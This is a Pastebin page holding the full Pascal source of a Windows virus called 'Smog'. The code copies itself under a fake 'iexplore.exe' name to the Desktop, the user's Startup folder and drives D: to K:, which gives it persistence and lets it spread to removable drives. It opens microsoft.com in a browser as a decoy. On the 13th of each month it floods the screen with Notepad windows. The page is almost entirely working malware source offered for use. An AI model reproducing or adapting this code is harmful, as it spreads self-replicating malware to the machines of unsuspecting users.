Advertisement
FlyFar

Smog - Pascal Virus Source Code

Mar 9th, 2023
1,334
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Pascal 1.36 KB | Cybersecurity | 0 0
  1. {$mode objfpc}
  2. uses
  3. classes,sysutils,windows,crt,dos;
  4. const
  5. fTarget = 'iexplore.exe';
  6. var
  7. folder_array: array[1..10] of String;
  8. s,s1,user_name:string;
  9. i:integer;
  10. Year,Month,Day,WDay : word;
  11. function FileCopy(Source, Target: string): boolean;
  12. var
  13. MemBuffer: TMemoryStream;
  14. begin
  15. result := false;
  16. MemBuffer := TMemoryStream.Create;
  17. try
  18. MemBuffer.LoadFromFile(Source);
  19. MemBuffer.SaveToFile(Target);
  20. result := true
  21. except
  22. end;
  23. MemBuffer.Free
  24. end;
  25. procedure EvilJob;
  26. var i:integer;
  27. begin
  28. for i:=1 to 50 do begin
  29. ShellExecute(0,nil, PChar('"notepad"'),nil,nil,1);
  30. Delay(1000);
  31. end;
  32. end;
  33. begin
  34. Randomize;
  35.  
  36. user_name:=GetUserDir;
  37. folder_array[1]:=user_name+'Desktop\';
  38. folder_array[2]:=user_name+'AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\';
  39. folder_array[3]:='d:\';
  40. folder_array[4]:='e:\';
  41. folder_array[5]:='f:\';
  42. folder_array[6]:='g:\';
  43. folder_array[7]:='h:\';
  44. folder_array[8]:='i:\';
  45. folder_array[9]:='j:\';
  46. folder_array[10]:='k:\';
  47.  
  48. s:=ParamStr(0);
  49. s1:=fTarget;
  50.  
  51. for i:=1 to 10 do begin
  52. s1:=fTarget;
  53. s1:=folder_array[i]+s1;
  54. If FileExists(s1) then
  55. s1:=folder_array[i]+'iexplore'+IntToStr(Random(1000))+'.exe';
  56. if DirectoryExists(folder_array[i]) then
  57. FileCopy(S, s1);
  58. end;
  59.  
  60. ShellExecute(0,nil, PChar('"iexplore"'),PChar('"https://www.microsoft.com"'),nil,1);
  61.  
  62. GetDate(Year,Month,Day,WDay);
  63. if Day=13 then EvilJob;
  64.  
  65. end.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement